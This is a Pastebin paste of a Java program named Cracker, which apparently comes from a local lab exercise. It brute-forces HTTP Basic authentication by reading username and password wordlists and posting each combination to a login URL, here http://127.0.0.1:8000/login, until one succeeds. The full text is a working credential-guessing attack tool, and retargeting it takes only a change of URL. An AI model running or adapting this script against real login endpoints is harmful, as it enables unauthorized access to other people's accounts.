avipatel99

cracker code

Nov 28th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. import java.io.BufferedReader;
  2. import java.io.FileInputStream;
  3. import java.io.InputStream;
  4. import java.io.InputStreamReader;
  5. import java.net.HttpURLConnection;
  6. import java.net.URL;
  7. import javax.xml.bind.DatatypeConverter;
  8.  
  9. public class Cracker {
  10.  
  11. // Attempt a login, returns true if successful
  12. public boolean attempt(String location, String guess) {
  13. try {
  14. URL url = new URL(location);
  15. String encoding = DatatypeConverter.printBase64Binary(guess.getBytes("UTF-8"));
  16. HttpURLConnection connection = (HttpURLConnection) url.openConnection();
  17. connection.setRequestMethod("POST");
  18. connection.setDoOutput(true);
  19. connection.setRequestProperty("Authorization", "Basic " + encoding);
  20. InputStream content = (InputStream) connection.getInputStream();
  21. BufferedReader in = new BufferedReader(new InputStreamReader(content));
  22. System.out.println("");
  23. String line;
  24. while ((line = in.readLine()) != null) {
  25. System.out.println(line);
  26. }
  27. return true;
  28. } catch (Exception e) {
  29. System.out.print(".");
  30. return false;
  31. }
  32. }
  33.  
  34. // Iterate through sorted lists of common usernames and passwords
  35. // This passwords list has been cleaned and shortened. The real lists, e.g. much
  36. // larger and available searching GitHub, contain extremely offensive words
  37. public void run() {
  38. System.out.print("Attempting to crack passwords: ");
  39. try {
  40. // Iterate through usernames
  41. FileInputStream userStream = new FileInputStream("usernames.txt");
  42. BufferedReader userReader = new BufferedReader(new InputStreamReader(userStream));
  43. String user;
  44. label: while ((user = userReader.readLine()) != null) {
  45. // Iterate through passwords
  46. FileInputStream passwordStream = new FileInputStream("passwords.txt");
  47. BufferedReader passwordReader = new BufferedReader(new InputStreamReader(passwordStream));
  48. String password;
  49. while ((password = passwordReader.readLine()) != null) {
  50. if (attempt("http://127.0.0.1:8000/login", user + ":" + password)) {
  51. break label; // Comment this line if you want to crack more users
  52. }
  53. }
  54. passwordReader.close();
  55. }
  56. userReader.close();
  57. } catch (Exception e) {
  58. }
  59. }
  60.  
  61. public static void main(String[] args) {
  62. new Cracker().run();
  63. }
  64. }
Add Comment
Please, Sign In to add comment